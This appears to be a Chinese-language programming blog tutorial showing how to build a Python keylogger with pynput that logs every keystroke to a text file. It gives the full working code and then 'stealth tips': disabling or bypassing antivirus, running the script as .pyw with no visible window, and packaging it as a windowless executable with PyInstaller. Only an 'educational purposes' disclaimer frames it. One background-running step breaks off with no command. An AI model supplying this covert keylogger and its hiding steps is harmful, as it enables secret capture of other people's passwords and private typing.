黑客工具箱中的基本工具之一是键盘记录器,我们将了解如何用 Python 实现一个基本的键盘记录器,代码不到 10 行,并得到充分解释。

🔹 什么是键盘记录?

击键记录是记录(记录)在键盘上按下的键的过程(通常在用户不知道的情况下)。它也称为键盘记录或键盘捕获。

image.png

🔹 用例

这些程序用于解决计算机和商业网络的技术问题。它也可用于监控网络使用情况,但通常用于窃取密码等恶意目的。

image.png

黑客(或脚本小子)将其用于不道德的目的,但本文仅用于教育目的。

🔹 怎么样?

要构建键盘记录器,我们需要一种方法来跟踪键盘上按下的每个键,python 中有几个库可以做到这一点:

📌keyboard

📌PyUserInput

📌pynput

PyUserInput有点过时了,可能对你帮助不大。我会推荐keyboardpynput

🔹 代码

在本文中,我们将重点关注pynput,因为它是有效的,但稍后也会将资源留给其他可用的方法。

我们将使用两个主要的库;

pynput:

该库允许您控制和监视输入设备。它包含支持的每种输入设备类型的子包

logging:

该模块定义了为应用程序和库实现灵活的事件记录系统的函数和类,我们将在带有时间戳的文本文件中记录我们的消息。

继续pip install pynput。日志记录随标准库一起提供。

from pynput.keyboard import Key, Listener
import logging

现在让我们初始化我们的日志配置

logging.basicConfig(filename=("keylogger.txt"), 
                    level=logging.DEBUG, 
                    format=" %(asctime)s - %(message)s")

在上面的代码中,我们将记录击键的文件名指定为keylogger.txt,然后指定存储击键的格式,在本例中为;YY-MM-DD HH-MM-SS(ms) - KEY

DEBUG级别是调试日志类别的一组日志级别。

现在让我们定义一个函数来帮助我们记录日志

def on_press(key):
    logging.info(str(key))

上面的函数基本上是接受一个参数表示用户按下的key,并在将其转换为字符串后将其记录到文件中。

每次按下键盘时,让我们最后听一听。

with Listener(on_press=on_press) as listener :
    listener.join()

我们创建了一个Listener类的实例,该类将记录击键并将我们创建的on_press函数作为参数传递。然后我们使用.join()方法将它加入到主线程中。

因此,每次按下键时,都会触发listener并调用我们的函数,然后将我们的击键记录到文件中。

所以如果你运行上面的代码,例如,我叫我的logger.py

运行💨py logger.py

我们的完整代码;

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename=("keylogger.txt"), 
                    level=logging.DEBUG, 
                    format=" %(asctime)s - %(message)s")

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener :
    listener.join()

运行时它会自动创建一个keylogger.txt文件,如果你开始输入,你会得到输出:

image.png

如果您有防病毒软件,您可能希望暂时禁用,但最简单的方法是只允许我们要运行的特定文件。

image.png

您需要从上面的屏幕截图中选择allow advicestart actions

🔹 隐身技巧

在 Windows 上,您只需将文件扩展名从.py重命名为.pyw,然后双击该文件即可运行它,而不会弹出终端。然后程序在后台运行,记录以后的每一次按键。

image.png

您还可以使用pyinstaller使其成为可执行文件而不是 py 文件

pip install pyinstaller

现在打开你的终端和cd进入根文件夹并输入;

python -m PyInstaller --onefile -w logger.py

这将使用您可以安装的exe文件创建一个dist文件夹。

您可以在后台运行的另一个技巧;只需cd进入项目目录并运行

免责声明:

同样,本文仅用于教育目的,我对任何损害和后果概不负责!所以使用它需要您自担风险!

而已!完整代码是这里🚀🚀

🔹 笔记和资源

📌 调试日志级别 - IBM文章

📌 Python 官方日志记录工具

📌 Python 日志记录级别

📌 Ask-Python eylogger文章

🔹 结论

再一次,希望你今天从我的小衣橱里学到了一些东西。

请考虑订阅或关注我的相关内容,尤其是关于技术、Python 和通用编程的内容。

你可以通过给我买杯咖啡来支持这个免费内容来表达额外的爱,我也对合作伙伴、技术写作角色、协作和 Python 相关的培训或角色持开放态度。

买罗尼咖啡 📢 你也可以在Twitter上关注我:♥ ♥ 等着你! 🙂

Logo

Python社区为您提供最前沿的新闻资讯和知识内容

更多推荐